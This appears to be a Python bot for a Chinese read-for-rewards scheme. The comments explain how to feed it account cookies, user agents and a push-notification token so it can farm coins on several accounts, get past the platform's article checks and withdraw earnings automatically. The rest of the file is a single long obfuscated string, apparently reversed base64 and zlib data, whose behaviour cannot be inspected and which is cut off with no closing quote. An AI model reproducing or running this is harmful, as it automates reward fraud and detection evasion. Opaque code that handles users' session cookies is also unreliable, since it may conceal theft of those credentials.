# 猫猫阅读脚本 2.0
#
#
# 阅读入口：http://691f031021iudc1.2i9bg2s.cn/kstief/0d4d8a202f79a047eceda69c720b3db4?tsd=753
# 
# 配置说明：
# 1. 环境变量 mmyd_ck: 配置cookie账号信息bbus值，支持多账号分隔符：换行符、@、&
# 获取方式：进入入口后，点击永久地址，保存二维码扫描，展开网址，ej开头到问号
# 2. 环境变量 mmyd_ua: 配置UA信息
# 这个可能需要抓一下
# 3. 环境变量 mmyd_url: 检测文章提交接口的URL（可选，如http://192.168.124.201:9900/check_read）
# 4. 环境变量 mmyd_token: PushPlus推送加token（可选）
# 建议填写，要过检会直接推送到微信，点击即可。
# 使用说明：
# - 首账号采用固定邀请码，请wx点击阅读入口。
# - 支持多账号批量运行，自动刷新Cookie
# - 自动检测文章并推送通知（需配置mmyd_token）
# - 自动提现功能，满足5000金币自动提现
# - 如果配置了mmyd_url，会先尝试自动过检，失败则推送通知
#
# 本脚本仅供学习交流，请在下载后的24小时内完全删除
# 请勿用于商业用途或非法目的，否则后果自负

import base64,zlib,requests
O00OOO0O0O00000="=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